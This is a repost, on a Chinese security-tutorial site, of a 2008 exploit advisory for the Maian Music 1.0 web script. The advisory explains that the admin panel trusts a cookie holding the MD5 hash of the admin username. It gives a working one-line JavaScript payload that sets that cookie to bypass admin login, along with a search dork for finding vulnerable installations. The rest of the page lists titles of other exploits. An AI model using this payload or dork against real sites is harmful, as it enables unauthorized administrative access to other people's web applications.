• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > Maian Music 1.0 Insecure Cookie Handling Vulnerability

Maian Music 1.0 Insecure Cookie Handling Vulnerability

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了Maian Music 1.0 Insecure Cookie Handling Vulnerability ,其中包含maian,vulnerability,vulnerability labs,vulnerability翻译,vulnerability scan等知识点,遇到此问题的同学们可以参考下
Author: Saime
Date: July 12, 2008
Script: Maian Music v1.0 Insecure Cookie Handling Vulnerability
URL: http://www.maianscriptworld.co.uk
Dork: Maian Music v1.0. Copyright © 2007-2008 Maian Script World. All Rights Reserved.

Description:
Maian Music v1.0 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mmusic_cookie,
equals admin username.(md5)

Exploit:
javascript:document.cookie = "mmusic_cookie=21232f297a57a5a743894a0e4a801fc3; path=/php/demos/music/admin/"

Note:
The cookie value must be md5(the username). For example, 21232f297a57a5a743894a0e4a801fc3 = admin
</div>

您可能想查找下面的文章:

  • Maian Cart 1.1 Insecure Cookie Handling Vulnerability
  • Maian Gallery 2.0 Insecure Cookie Handling Vulnerability
  • Maian Events 2.0 Insecure Cookie Handling Vulnerability
  • Maian Music 1.0 Insecure Cookie Handling Vulnerability
  • Maian Greetings 2.1 Insecure Cookie Handling Vulnerability
  • Maian Recipe
  • Maian Guestbook
  • Maian Weblog
  • Maian Search
  • Maian Uploader

相关文章

  • Wysi Wiki Wyg 1.0 (index.php c) Local File Inclusion Vulnerability
  • DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit
  • phpDatingClub (website.php page) Local File Inclusion Vulnerability
  • Sagem Routers F@ST Remote CSRF Exploit (dhcp hostname attack)
  • IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit
  • DreamNews Manager (id) Remote SQL Injection Vulnerability
  • Simple DNS Plus
  • MojoJobs (mojoJobs.cgi mojo) Blind SQL Injection Exploit
  • ESET Smart Security 3.0.667.0 Privilege Escalation PoC
  • Ultrastats

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit
    • File Store PRO 3.2 Multiple Blind SQL Injection Vulnerabilities
    • Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit
    • NCTsoft AudFile.dll ActiveX Control Remote Buffer Overflow Exploit
    • ESET Smart Security 3.0.667.0 Privilege Escalation PoC
    • Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit
    • eNdonesia 8.4 (Calendar Module) Remote SQL Injection Exploit
    • Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit
    • MS Windows (MessageBox) Memory Corruption Local Denial of Service
    • Sagem Routers F@ST Remote CSRF Exploit (dhcp hostname attack)

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有